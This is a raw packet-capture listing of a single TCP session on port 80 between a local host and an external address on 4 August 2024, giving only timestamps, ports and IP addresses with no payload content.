Aug 4, 2024 12:55:09.971136093 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.971174002 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.972174883 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.972301960 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.972346067 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.972421885 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.972508907 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.972553968 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.973190069 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.973202944 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.973227024 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.973239899 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.973246098 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.973273993 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.974077940 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.974136114 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.974149942 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.974184036 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.974821091 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.974865913 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.974874020 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.975035906 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.975076914 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.975106955 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.975646019 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.975658894 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.975694895 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.975759029 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.975802898 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.975872993 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.976813078 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.976857901 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.976861954 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.977170944 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.977237940 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.977247953 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.978770971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.978815079 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.978951931 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.979233980 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.979279995 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.979346991 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.981076956 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.981122971 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.981159925 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.981456041 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.981501102 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.981523037 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.982738972 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.982789993 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.982881069 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.983237028 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.983283043 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.983319044 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.984922886 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.984968901 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.984982014 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.985403061 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.985450029 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.985495090 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.986736059 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.986751080 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.986783981 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.987265110 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.987277985 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.987309933 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.988827944 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.988859892 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.988873005 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.989217043 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.989250898 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.989259958 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.990957022 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.990999937 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.991008043 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.991149902 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.991200924 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.991262913 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.992916107 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.992955923 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.992964029 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.993175983 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.993197918 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.993218899 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.994757891 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.994777918 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.994801998 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.995227098 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.995270967 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.995306969 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.996939898 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.996982098 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.996994972 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.997405052 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.997416973 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.997451067 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.998929977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.998972893 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.998987913 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.999392033 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.999413967 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.999435902 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.000981092 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.000993967 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.001024961 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.001595020 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.001607895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.001641035 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.002899885 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.002944946 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.002979994 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.003354073 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.003398895 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.003422022 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.005477905 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.005490065 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.005521059 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.005523920 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.005533934 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.005563974 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.006922960 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.006936073 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.006972075 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.007478952 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.007539034 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.007544994 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.009264946 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.009310007 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.009491920 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.009505987 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.009545088 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.009763956 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.009778023 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.009792089 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.009812117 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.010452986 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.010495901 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.010528088 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.010541916 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.010581017 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.011399031 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.011415005 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.011430025 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.011457920 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.012312889 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.012351990 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.012356997 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.012365103 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.012378931 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.012402058 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.013326883 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.013376951 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.013390064 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.013403893 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.013442993 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.014293909 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.014344931 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.014358997 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.014385939 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.015450954 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.015494108 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.015525103 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.015537977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.015573025 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.016249895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.016284943 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.016299009 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.016325951 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.022089958 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.022104025 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.022119045 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.022133112 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.022140026 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.022159100 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.024966002 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.025015116 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.025082111 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.025096893 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.025135994 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.025479078 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.025513887 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.025527954 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.025556087 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.026112080 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.026156902 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.026164055 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.026177883 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.026211023 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.034463882 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.034480095 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.034495115 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.034533978 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.034600019 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.034643888 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.034662008 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.034677982 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.034693003 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.034717083 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.050206900 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.050252914 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.050267935 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.050287008 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.050369024 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.050401926 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.050416946 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.050434113 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.050523043 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.050600052 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.050616026 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.050631046 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.050647020 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.050647020 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.050671101 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.050837994 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.050853968 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.050868034 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.050883055 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.050883055 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.050915956 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.053713083 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.053757906 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.053790092 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.053806067 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.053845882 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.053950071 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.053965092 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.053980112 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.053996086 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.054008007 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.054042101 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.060137987 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.060162067 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.060177088 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.060229063 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.060275078 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.060288906 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.060303926 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.060349941 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.060385942 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.060396910 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.062424898 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.062464952 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.062474012 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.062479973 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.062529087 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.062608957 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.062623978 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.062645912 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.062654018 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.062659979 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.062704086 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.064524889 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.064585924 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.064601898 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.064630032 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.064697981 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.064713955 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.064728022 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.064743042 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.064743996 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.064764977 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.070401907 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.070450068 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.070472002 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.070494890 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.070534945 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.070581913 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.070596933 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.070611954 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.070630074 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.070766926 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.070781946 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.070811033 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.076509953 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.076558113 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.076684952 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.076721907 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.076749086 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.076766968 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.076841116 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.076857090 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.076880932 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.076960087 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.076972008 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.077259064 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.082381010 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.082395077 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.082434893 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.082473040 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.082518101 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.082534075 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.082549095 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.082587004 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.082684994 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.082700014 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.082714081 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.082736969 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.088798046 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.088850975 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.088870049 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.088886023 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.088934898 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.089006901 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.089029074 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.089045048 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.089071035 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.089152098 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.089194059 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.092683077 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.092772961 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.092787981 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.092814922 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.092817068 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.092858076 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.092868090 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.092953920 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.092969894 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.092983961 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.092999935 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.093023062 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.097253084 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.097289085 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.097302914 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.097330093 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.097420931 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.097436905 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.097450972 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.097465992 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.097472906 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.097491980 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.099942923 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.099967957 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.099982023 CEST	80	49709	39.97.203.40	192.168.2.5
